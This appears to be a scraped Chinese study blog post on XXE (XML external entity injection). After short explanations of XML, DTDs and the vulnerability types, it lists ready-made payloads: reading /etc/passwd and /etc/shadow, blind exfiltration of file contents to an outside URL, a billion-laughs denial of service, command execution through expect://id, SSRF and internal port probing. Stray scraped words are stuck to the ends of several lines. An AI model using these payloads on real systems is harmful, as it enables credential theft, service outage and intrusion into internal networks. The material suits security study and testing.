xxe學習

什麼是xml

xml是一種具備結構性的標記語言,用來標記數據,定義數據類型,容許用戶本身定義的源語言。在解析外部實體的過程當中,XML解析器能夠根據URL中指定的方案(協議)來查詢各類網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文檔中建立動態引用很是有用,這樣對引用資源所作的任何更改都會在文檔中自動更新。 可是,在處理外部實體時,能夠針對應用程序啓動許多攻擊。 這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各類方案的網絡訪問功能來操縱內部應用程序。 經過將這些攻擊與其餘實現缺陷相結合,這些攻擊的範圍能夠擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決於這些攻擊的上下文html

什麼是DTD

一種文檔類型定義 xml中標籤自己是能夠隨便定義的二,DTD至關於給xml標籤作個了類型限制約束服務器

例如:

    xxe.xml文件

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE 班級 SYSTEM "xxe.dtd">
    <!--引入dtd文件,約束xml-->>
    <班級>
        <學生>
           <名字>xss</名字>
           <年齡>2</年齡>
           <介紹>1</介紹>    
        </學生>
    </班級>


     xxe.dtd文件

    <!ELEMENT 班級 (學生+)>
    <!ELEMENT 學生 (名字,年齡,介紹)>
    <!ELEMENT 名字(#PEDATA)>
    <!ELEMENT 年齡(#PEDATA)>
    <!ELEMENT 介紹(#PEDATA)>

參考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)網絡

xxe漏洞

又稱爲xml外部實體注入漏洞,發生在應用程序解析xml輸入時,沒有禁止外部實體的加載,致使可加載惡意外部文件,形成文件讀取,命令執行,內網端口掃描,攻擊內網網站,dos攻擊等xss

例如:網站

有了xml實體,ststem會令xml解析器從url中讀取內容,並容許它在xml文檔中被替換。所以攻擊者能夠經過實體將他定義的值發送給應用程序而後實現。ui

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

xml外部實體passwd被賦值成了file:///etc/passwd  所以運行解析時passwd就變成了file:///ect/passwd的內容

按輸出信息不一樣能夠分紅

  1. 正常回顯xxe
  • 直接利用服務器回顯信息進行xxe攻擊
  1. 報錯xxe
  • 正常回顯時會報錯,經過報錯信息判斷是否注入成功
  1. 盲注xxe(blind)最多見
  • 能夠用file協議http協議ftp協議等僞協議配合使用

payload

基本的xml注入

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

實體實例

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

文件泄露

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

拒絕服務

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

本地文件包含

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

本地文件包含blind

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>

ssrf

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

任意文件讀取

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

執行系統命令

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

內網探測端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
  <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
相關文章
相關標籤/搜索